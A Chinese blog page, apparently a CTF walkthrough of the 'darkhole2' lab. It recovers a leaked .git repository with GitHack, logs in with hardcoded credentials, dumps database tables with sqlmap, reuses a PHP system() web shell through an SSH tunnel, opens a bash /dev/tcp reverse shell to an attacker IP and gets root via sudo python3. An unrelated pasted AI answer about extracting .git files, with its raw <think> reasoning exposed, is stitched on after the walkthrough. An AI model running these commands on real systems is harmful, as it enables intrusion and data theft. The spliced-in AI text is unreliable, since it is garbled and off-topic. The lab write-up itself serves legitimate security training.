.git文件泄露的一次渗透darkhole2

darkhole2通关过程

这是一个困难难度的靶场,通过不小心泄露的.git文件收集信息,再利用漏洞脱库登录,最后利用rce漏洞进行提权。也可以用通用来打。

信息收集

扫描靶机ip

nmap -sP 192.168.3.1/24

在这里插入图片描述

靶机ip为192.168.3.130

对靶机端口进行全面扫描

nmap -p 1-65535 -A 192.168.3.130

在这里插入图片描述

只扫出了80和22端口

访问192.168.3.130

在这里插入图片描述

目录收集

python dirsearch.py -u http://192.168.3.130/

在这里插入图片描述

查看扫描报告搜集出请求成功的路径

200     3KB  http://192.168.3.130/.git/
200   130B   http://192.168.3.130/.git/config
200     4KB  http://192.168.3.130/.git/hooks/
200    41B   http://192.168.3.130/.git/COMMIT_EDITMSG
200    23B   http://192.168.3.130/.git/HEAD
200     1KB  http://192.168.3.130/.git/index
200   240B   http://192.168.3.130/.git/info/exclude
200   554B   http://192.168.3.130/.git/logs/HEAD
200     1KB  http://192.168.3.130/.git/logs/
200   554B   http://192.168.3.130/.git/logs/refs/heads/master
200   948B   http://192.168.3.130/.git/info/
200     6KB  http://192.168.3.130/.git/objects/
200     1KB  http://192.168.3.130/.git/refs/
200    41B   http://192.168.3.130/.git/refs/heads/master
200     1KB  http://192.168.3.130/.idea/
200   279B   http://192.168.3.130/.idea/modules.xml
200     2KB  http://192.168.3.130/.idea/workspace.xml
200    73B   http://192.168.3.130/.git/description
200   943B   http://192.168.3.130/config/
200    11B   http://192.168.3.130/dashboard.php
200   931B   http://192.168.3.130/js/
200     1KB  http://192.168.3.130/login.php

主要存在目录

/.git
/.idea
/config
/dashboard.php
/js
/login.php

.git代码管理仓库的文件,应该是开发不小心提交上来的可能会造成git信息泄露

.idea一个java开发工具的配置文件,应该没什么用

对目录按顺序进行信息收集首先是/.git

在这里插入图片描述

利用.git文件泄露获取更多信息

python2 GitHack.py http://192.168.3.130/.git/

在这里插入图片描述

到生成的仓库中查看git的log日志

git log

在这里插入图片描述

最新版本记录i changed login.php file for more secure增加了安全性,想知道他增加了什么安全防护,对比版本差异

git diff a4d900a8d85e8938d3601f3cef113ee293028e10

在这里插入图片描述

,发现login.php删去了一段代码有默认的账号密码,开发人员有时候为了方便会写死在代码里的。

if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){

而且新增的login.php的代码对sql注入做了防护,login页面的sql注入应该是不行了

$email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
$pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
$check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
if($check->num_rows){

然后大致看了下目录下获取到的源码,在config目录下的config.php文件中获取到了一段数据库的泄露信息,知道了账号和连接的数据库密码为空

<?php
$connect = new mysqli("localhost","root","","darkhole_2");

有了这两个信息直接进入到渗透阶段,在渗透中再进行信息收集

渗透阶段

直接到登录页面,用之前删掉代码里的账号密码进行登录

lush@admin.com
321

在这里插入图片描述

登录成功

它的地址为

http://192.168.3.130/dashboard.php?id=1

因为刚打完darkhole1这个地址很熟悉,跑一下有没有sql注入

在这里插入图片描述

源码代码审计是根据session判断,cookie中必须携带sessionid即PHPSESSID

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch

在这里插入图片描述

扫到了时间盲注和UNION注入

爆库

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch --dbs

在这里插入图片描述

爆表

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 --tables

在这里插入图片描述

ssh表脱库

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 -T ssh --dump

在这里插入图片描述

users表脱库

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 -T users --dump

在这里插入图片描述

既然拿到了ssh的账号密码直接进行登录

ssh jehad@192.168.3.130

在这里插入图片描述

查看当前用户可运行的命令或文件,结果没权限,还要切换其他具有sudo权限的用户进行提权

sudo -l

在这里插入图片描述

提权阶段

查看可以提权的用户

cat /etc/passwd | grep /bin/bash

在这里插入图片描述

到他的home目录下看看

在.bash_history文件看见了很多疑似远程命令执行的语句

history命令也看见了同样的命令

在这里插入图片描述

浅试一下复制一条上面的命令

curl "http://127.0.0.1:9999/?cmd=id"

在这里插入图片描述

果然可以,这个jehad是个hack已经黑掉写入了木马,利用它的就好了

查看定时任务

cat /etc/crontab

在这里插入图片描述

可以看到这个定时任务是每分钟到/opt/web目录下开端口9999的web服务

去/opt/web目录看看,其中有个index.php,证实了是rce

<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>

因为localhost访问不到属于局域网,对9999端口转发到本地

ssh -L 9999:127.0.0.1:9999 jehad@192.168.3.130

在这里插入图片描述

可以成功访问了
在这里插入图片描述

建立反弹连接,因为这个用户是losy当用这个rce反弹shell,获得的对象就是losy

需要开启kali监听

nc -lvvp 7777

反弹shell(需要url编码)

bash -c 'bash -i >& /dev/tcp/192.168.3.128/7777 0>&1'
bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.128%2F7777%200%3E%261'

访问

http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.128%2F7777%200%3E%261%27

成功拿到losy的权限

在这里插入图片描述

看看losy的history都做了什么,在history中发现泄露密码等重要信息,以及存在python环境,和一段提权的执行代码

history

在这里插入图片描述

losy是有sudo权限的

在这里插入图片描述

查看losy可以运行的文件或命令,需要密码刚刚获取到了gang

sudo -l

在这里插入图片描述

python3有root权限直接sudo python命令提权

sudo python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

<think>首先,用户的问题是关于如何解压.git文件。但根据引用,.git文件通常不是直接解压的,而是包含Git仓库的元数据和对象。引用[1]提到解析.git/index文件来恢复源代码,引用[2]和[3]是关于解压.tgz或tar.gz文件的方法,引用[4]讨论了解压后的大小写问题。 用户说“我想解压.git文件”,但.git文件可能是一个文件夹或一个压缩包?在Git中,.git是一个目录,包含各种文件和子目录。引用[1]描述了一个场景:通过解析.git/index文件来下载和恢复源代码,这涉及到解压Git对象。 所以,用户可能误解了.git文件.git通常是一个目录,而不是一个单一文件。用户可能有一个.git目录或一个压缩的.git文件(如.git.tar.gz)。 从引用中: - 引用[1]:解析.git/index文件,找到文件名和SHA1,下载对象文件,zlib解压。 - 引用[2]:解压.tgz文件的方法,使用tar命令或在线服务。 - 引用[3]:在Windows上解压tar.gz文件使用Git Bash。 - 引用[4]:解压tar.gz文件后的大小写问题。 用户的问题焦点是“解压.git文件”。我需要澄清.git文件是什么。可能用户有一个.git目录的压缩文件(如.git.tar.gz),或者他们想从.git目录中提取文件。 在引用[1]中,有一个工具GitHack,它通过访问.git/index和.git/objects来恢复源代码。这本质上不是解压一个文件,而是下载和解压多个对象文件。 因此,我应该解释如何从.git目录中提取文件或如何处理.git目录。 用户说“解压.git文件”,所以可能他们有一个名为.git文件,但通常.git是一个目录。或许用户有一个压缩的Git仓库文件。 为了安全,我应该: 1. 澄清.git文件是什么。 2. 提供基于引用的解压方法。 3. 生成相关问题。 系统指令: - 使用中文回答。 - 结构清晰。 - 行内数学用$...$,独立公式用$$...$$(但这里可能不需要数学)。 - 添加引用标识在段落末尾。 - 生成相关问题。 回答结构: - 解释.git文件:通常.git是一个目录,包含Git仓库的元数据。如果用户有一个压缩的.git文件(如.tar.gz),则解压它。 - 提供解压方法:基于引用[2]和[3],使用tar命令解压。 - 如果用户想从.git目录中恢复源代码,则基于引用[1]描述过程。 - 生成相关问题。 用户问题:"我想解压.git文件 请问如何解压 .git 文件" 所以,核心是解压.git文件。 步骤: 1. 确认文件类型:检查文件扩展名。如果它是.tar.gz、.tgz等,则使用tar解压。 2. 如果没有扩展名,但它是.git目录,则可能需要特殊处理。 从引用[3]:在Windows上,使用Git Bash运行tar -zxvf xxx.tar.gz。 引用[2]:使用tar命令或在线服务解压.tgz。 引用[1]:不是直接解压,而是解析Git对象。 因此,对于直接解压: - 如果用户有一个压缩文件,解压它。 - 如果用户有一个.git目录,想提取内容,则使用Git工具。 在回答中: - 先解释:.git文件通常指的是Git仓库的.git目录。如果您有一个压缩的.git文件(如.git.tar.gz),您可以解压它。如果您想从.git目录中恢复源代码,则需要使用特定工具如GitHack。 - 然后提供解压方法。 - 最后生成相关问题。 添加引用: - 在相关段落末尾添加[^1]、[^2]等。 生成相关问题: - 基于主题,如Git操作、解压文件、恢复源代码等。 最终回答: - 开头:解释情况。 - 步骤:如何解压。 - 如果适用,如何恢复源代码。 - 相关问题。</think>### 如何解压 .git 文件 您提到的“解压 .git 文件”可能涉及两种情况,需要先澄清: 1. **如果您的 .git 文件是一个压缩包(如 .git.tar.gz 或 .git.tgz)**:这通常是 Git 仓库目录的压缩备份,可以直接使用解压工具处理。 2. **如果您的 .git 文件是一个目录(即 .git 文件夹)**:Git 仓库的 .git 目录包含元数据和对象文件(如 index 和 objects),而不是一个单一文件。解压它需要特殊工具来解析和恢复源代码,而不是传统解压方式。 下面我将根据您的需求,分步说明两种情况的处理方法。方法基于 Git 的标准机制和引用内容,确保安全可靠。 #### 情况 1: 解压压缩的 .git 文件(如 .git.tar.gz) 如果您的文件是压缩格式(常见于备份或传输),请按以下步骤操作: - **步骤 1: 确认文件类型** 检查文件扩展名(如 .tar.gz、.tgz)。例如,文件名可能是 `repository.git.tar.gz`。 - **步骤 2: 使用命令行工具解压(推荐)** 在 Windows、Linux 或 macOS 上,都可以使用 `tar` 命令。 - **在 Windows 上**: 安装 Git Bash(包含 Unix 工具),然后: 1. 右键点击文件所在目录,选择“Git Bash Here”。 2. 运行命令: ```bash tar -zxvf 文件.tar.gz ``` 例如:`tar -zxvf repository.git.tar.gz`。这将解压到当前目录,生成一个 .git 文件夹。 > 注意:如果文件.tgz 格式,命令相同(`tar -zxvf 文件.tgz`)。 引用[3]描述了类似方法在 Windows 上的操作[^3]。 - **在 Linux/macOS 上**: 直接打开终端,导航到文件目录,运行相同命令: ```bash tar -zxvf 文件.tar.gz ``` - **替代方法:使用在线解压服务** 如果您不想安装软件,上传 .tgz 文件到在线服务(如 Online Tgz Inflater),解压后下载文件。但注意:这适用于非敏感数据,避免隐私泄露[^2]。 解压后,您会得到一个 .git 目录,可以进入下一步处理(如恢复源代码)。 #### 情况 2: 从 .git 目录中“解压”或恢复源代码 如果您的 .git 文件是一个目录(即 Git 仓库的元数据文件夹),直接解压无效。需要解析 Git 对象来恢复源代码。以下是安全方法: - **步骤 1: 确保 .git 目录完整** .git 目录应包含子文件夹如 `objects/` 和文件 `index`。 - **步骤 2: 使用工具解析和恢复源代码** 推荐用开源工具如 GitHack(基于 Python),它自动下载对象文件并 zlib 解压: 1. 安装 GitHack: ```bash git clone https://github.com/lijiejie/GitHack.git cd GitHack ``` 2. 运行工具(针对您的 .git 目录): ```bash python GitHack.py http://your-website/.git/ ``` 替换 `http://your-website/.git/` 为 .git 目录的 URL 或本地路径。 工具会解析 `index` 文件,找到所有文件的 SHA1 值,从 `objects/` 下载并解压,输出源代码到本地目录[^1]。 - **手动方法(高级)**: 如果您熟悉 Git,用命令恢复: ```bash git clone --mirror 路径/to/.git 目标目录 cd 目标目录 git checkout -f # 强制检出文件 ``` > 注意:在 Windows 上,Git 可能因文件名大小写问题导致文件覆盖(如 .s 和 .S 文件),建议在 Linux 或 WSL 中操作以保持兼容性[^4]。 #### 关键注意事项 - **文件系统问题**:在 Windows 解压后,文件名大小写可能不敏感(如 `file.S` 和 `file.s` 被覆盖),导致错误。推荐在 Linux 或 WSL 中处理 Git 文件[^4]。 - **安全风险**:解压 .git 文件可能暴露敏感信息(如密码),确保数据来源可信。引用案例中,陌陌应用曾因 .git 泄露导致源码被恢复[^1]。 - **如果文件损坏**:如果 .git 目录不完整,恢复可能失败;尝试用 `git fsck` 检查完整性。 通过以上步骤,您应该能成功“解压” .git 文件或从中恢复源代码。如果您提供更多细节(如文件类型或操作系统),我可以进一步优化建议。 ### 相关问题 1. 如何防止 .git 目录泄露导致源代码被恢复? 2. 在 Windows 上解压 tar.gz 文件后,如何解决文件名大小写冲突问题? 3. GitHack 工具的原理是什么?还有其他类似工具吗? 4. 如何验证解压后的 .git 目录是否完整无损?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值